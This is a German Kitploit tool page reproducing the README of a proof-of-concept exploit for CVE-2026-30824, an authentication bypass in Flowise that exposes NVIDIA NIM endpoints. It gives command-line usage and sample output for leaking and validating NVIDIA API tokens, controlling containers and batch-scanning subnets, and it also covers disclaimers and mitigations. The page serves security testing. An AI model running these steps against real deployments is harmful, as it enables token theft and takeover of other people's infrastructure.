Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication — Ein Proof-of-Concept-Exploit für **CVE-2026-30824**, eine kritische Schwachstelle zur Umgehung der Authentifizierung in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung offenlegt. | Kitploit
Tools/GitHubGitHub/dylvie/cve-2026-30824-flowise-nvidia-nim-authentication
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstests
GitHubdylvie/cve-2026-30824-flowise-nvidia-nim-authentication

CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication

Ein Proof-of-Concept-Exploit für **CVE-2026-30824**, eine kritische Schwachstelle zur Umgehung der Authentifizierung in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung offenlegt.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
vor 3 MonatenNoch nicht geprüft
Teilen

CVE-2026-30824 — Flowise NVIDIA NIM Authentifizierungs-Bypass-Checker und Exploit

Ein Proof-of-Concept-Checker und Exploit für CVE-2026-30824, eine kritische Authentifizierungs-Bypass-Schwachstelle in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung freigibt.

Schwachstellenübersicht

CVE-2026-30824 ist ein kritischer Authentifizierungs-Bypass in Flowise (< 3.0.13), der nicht authentifizierten Remote-Angreifern Zugriff auf die NVIDIA-NIM-Containerverwaltung und API-Token-Generierungs-Endpunkte ermöglicht.

FeldWert
CVSS-Score9.8 (Kritisch)
CWECWE-306: Fehlende Authentifizierung für kritische Funktion
Betroffene VersionenFlowise < 3.0.13
AuswirkungVollständige Containerverwaltung, GPU-Zugriff, Token-Diebstahl

Grundursache

Der Pfad /api/v1/nvidia-nim/* ist in der globalen Authentifizierungs-Middleware auf die Whitelist gesetzt, was nicht authentifizierten Zugriff ermöglicht auf:

  • Token-Generierung und -Leak
  • Containerverwaltung (Auflisten, Starten, Stoppen)
  • Docker-Image-Pull
  • NVIDIA-API-Integration

Funktionen

✅ Schwachstellenerkennung — Schneller Check, ob das Ziel verwundbar ist
✅ Token-Extraktion — NVIDIA-API-Tokens aus verwundbaren Endpunkten leaken
✅ Token-Validierung — Tokens gegen die NVIDIA-API verifizieren (Blast-Radius demonstrieren)
✅ Container-Enumeration — Laufende NIM-Container auflisten
✅ Batch-Scanning — Mehrere Ziele aus einer Datei scannen
✅ SSL-Bypass — Selbstsignierte Zertifikate standardmäßig ignorieren
✅ Farbige Ausgabe — Leicht lesbare Statusindikatoren (grün/gelb/rot)
✅ Aufklärung — Vollständiges Endpunkt-Mapping und Diagnose


Installation

Voraussetzungen

  • Python 3.7+
  • requests-Bibliothek

Einrichtung

root@kitploit:~
# Skript klonen oder herunterladen
git clone <repository>
cd cve-2026-30824

# Abhängigkeiten installieren
pip install -r requirements.txt
# oder
pip install requests

Verwendung

Grundlegender Schwachstellen-Check

root@kitploit:~
# Prüfen, ob ein einzelnes Ziel verwundbar ist
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Erwartete Ausgabe (VERWUNDBAR):
# [+] Ziel scheint VERWUNDBAR (HTTP 200)
#     Antwort: {...}

Mehrere Ziele scannen

root@kitploit:~
# targets.txt mit einer URL pro Zeile erstellen
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Alle Ziele scannen (Schnellmodus, keine Eingabeaufforderungen)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Erwartete Zusammenfassungsausgabe:
# ============================================================
# [*] Scan-Zusammenfassung
# ============================================================
# [+] VERWUNDBAR: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] GEPATCHT: 1
#     ✗ http://192.168.1.102:3000

NVIDIA-API-Token extrahieren

root@kitploit:~
# NVIDIA-API-Token vom verwundbaren Endpunkt leaken
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Erwartete Ausgabe:
# [*] Versuche, NVIDIA-API-Token zu leaken...
# [+] NVIDIA-API-Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token-Typ: Bearer
# [+] Läuft ab in: 3600s

Token gegen die NVIDIA-API validieren

root@kitploit:~
# Verifizieren, dass ein geleaktes Token gegen die echte NVIDIA-API funktioniert
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Erwartete Ausgabe:
# [*] Validiere Token gegen NVIDIA-API...
# [+] Token GÜLTIG! Zugriff auf 45 NVIDIA-NIM-Modelle.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

Laufende Container auflisten

root@kitploit:~
# Container auf dem Ziel auflisten
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Erwartete Ausgabe:
# [*] Liste laufender Container...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

Vollständige Aufklärung (Alle Checks)

root@kitploit:~
# Alle Aufklärungs-Checks auf dem verwundbaren Ziel ausführen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

Befehlszeilenoptionen

root@kitploit:~
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Optionale Argumente:
  -h, --help                    Diese Hilfemeldung anzeigen und beenden
  -t, --target TARGET           Ziel-URL (z. B. http://192.168.1.100:3000)
  -f, --targets-file DATEI      Datei mit Liste der Ziele (eine pro Zeile)
  
Schwachstellenerkennung:
  --check                       Nur prüfen, ob das Ziel verwundbar ist
  --scan-only                   Ziele ohne Eingabeaufforderungen auf Schwachstellen scannen
  --debug                       Anfragedetails und Rohantworten anzeigen
  
Ausnutzung:
  --get-token                   NVIDIA-API-Token leaken
  --validate-token TOKEN        Geleaktes Token gegen die NVIDIA-API validieren
  --list-containers             Laufende NIM-Container auflisten
  --get-container CONTAINER_ID  Containerdetails abrufen
  --get-image IMAGE_ID          Imagedetails abrufen
  --pull-image IMAGE_TAG        Ein Docker-Image pullen (z. B. nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Einen Container aus einem Image-Tag starten
  --container-name NAME         Name für den gestarteten Container
  --stop-container CONTAINER_ID Einen laufenden Container stoppen
  --preload                     Ressourcen-Preload-Endpunkt auslösen
  --all                         Alle Aufklärungs-Checks ausführen
  
Erweitert:
  --timeout SEKUNDEN            Anfrage-Timeout in Sekunden (Standard: 15)

Workflow-Beispiele

Szenario 1: Interne Netzwerkbewertung

root@kitploit:~
# 1. Gesamtes Subnetz auf verwundbare Instanzen scannen
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. Für jedes verwundbare Ziel Token extrahieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Token-Auswirkung validieren
python3 CVE-2026-30824.py --validate-token "<extrahiertes-token>"

Szenario 2: Nachweis der Auswirkung

root@kitploit:~
# Schwachstelle verifizieren und vollständigen Blast-Radius demonstrieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# Dies wird:
# 1. Schwachstelle prüfen
# 2. NVIDIA-API-Token extrahieren
# 3. Token gegen die NVIDIA-API validieren
# 4. Laufende Container auflisten
# 5. Ressourcen-Enumeration anzeigen

Szenario 3: Kontinuierliche Überwachung

root@kitploit:~
# Ein Ziel periodisch überwachen (per cron oder Scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

Ausgabeindikatoren

Farben

  • 🟢 GRÜN — Verwundbares Ziel oder erfolgreiche Ausnutzung
  • 🟡 GELB — Gepatcht/nicht verwundbar oder Warnung
  • 🔴 ROT — Fehler oder Verbindungsfehler

Statuscodes

HTTPBedeutung
200✅ Verwundbar (Endpunkt zugänglich)
400✅ Verwundbar (Anwendungsfehler, aber Endpunkt existiert)

Fehlerbehebung

"HTML-Antwort statt JSON erhalten"

Problem: Der Endpunkt gibt eine HTML-Seite statt einer JSON-API-Antwort zurück.

Lösungen:

  1. Überprüfen, ob die Flowise-Version tatsächlich verwundbar ist (< 3.0.13)
  2. Prüfen, ob das Ziel tatsächlich Flowise ausführt (nicht eine andere Anwendung)
  3. Verifizieren, dass sich der Endpunktpfad in dieser Version nicht geändert hat
  4. Prüfen, ob ein Reverse-Proxy oder eine WAF stört

"Verbindung abgelehnt" oder "Timeout"

Problem: Das Ziel kann nicht erreicht werden.

Lösungen:

root@kitploit:~
# Konnektivität testen
curl -v http://192.168.1.100:3000/

# Timeout erhöhen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

SSL-Zertifikatsfehler

Problem: Das Ziel verwendet ein selbstsigniertes oder abgelaufenes Zertifikat.

Lösung: Das Skript deaktiviert die SSL-Verifizierung standardmäßig. Wenn Probleme weiterhin bestehen:

root@kitploit:~
# Port und Protokoll explizit hinzufügen
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check

Token-Validierung schlägt fehl

Problem: Token extrahiert, aber die Validierung gegen die NVIDIA-API schlägt fehl.

Ursachen:

  • Das Token ist möglicherweise bereits abgelaufen
  • Das Token ist möglicherweise ungültig (Endpunkt gibt ein Fake-Token zurück)
  • Netzwerkverbindung zur NVIDIA-API ist blockiert

Sicherheitshinweise

⚠️ RECHTLICHER HINWEIS

  • Dieses Tool ist nur für autorisierte Sicherheitstests gedacht
  • Unbefugter Zugriff auf Computersysteme ist illegal
  • Nur Systeme testen, die Sie besitzen oder für die Sie eine ausdrückliche Genehmigung haben
  • Der Autor übernimmt keine Haftung für Missbrauch

Verantwortungsvolle Offenlegung

Wenn Sie diese Schwachstelle in freier Wildbahn entdecken:

  1. Ergebnisse dokumentieren
  2. Das Sicherheitsteam der Organisation kontaktieren
  3. Angemessene Zeit für die Behebung einräumen (in der Regel 90 Tage)
  4. Nicht öffentlich offenlegen, bis ein Patch verfügbar ist

Gegenmaßnahmen

Für Systemadministratoren

Sofort:

  1. Flowise auf Version 3.0.13 oder höher aktualisieren
  2. Netzwerkzugriffskontrollen implementieren (Firewall-Regeln)
  3. NVIDIA-NIM-Integration deaktivieren, falls nicht benötigt
  4. API-Logs auf verdächtige Token-Nutzung überwachen

Langfristig:

  1. WAF-Regeln verwenden, um /api/v1/nvidia-nim/*-Pfade zu blockieren
  2. API-Ratenbegrenzung implementieren
  3. Sicherheitsüberwachung und Alarmierung aktivieren
  4. Regelmäßige Sicherheitsbewertungen durchführen

Für Entwickler

  • Alle Authentifizierungs-Bypasses im Codebase überprüfen
  • Default-Deny-Zugriffsrichtlinien implementieren
  • Umfassende API-Endpunkt-Sicherheitstests hinzufügen
  • Automatisierte Sicherheitsscans in CI/CD verwenden

Referenzen

  • NVD-Eintrag
  • Flowise GitHub
  • NVIDIA-NIM-Dokumentation
  • CWE-306: Fehlende Authentifizierung

Lizenz

Dieses Tool wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Details finden Sie in der LICENSE-Datei.

Haftungsausschluss

Dieser Exploit wird "wie besehen" ohne Gewährleistung bereitgestellt. Verwenden Sie ihn nur auf Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.


Autor

Erstellt für autorisierte Penetrationstests und Sicherheitsforschung.

Zuletzt aktualisiert: April 2026

Tool herunterladen
401🟡 Gepatcht (Authentifizierung erforderlich)
404🟡 Kein Flowise oder Endpunkt existiert nicht
5xx🔴 Serverfehler/falsch konfiguriert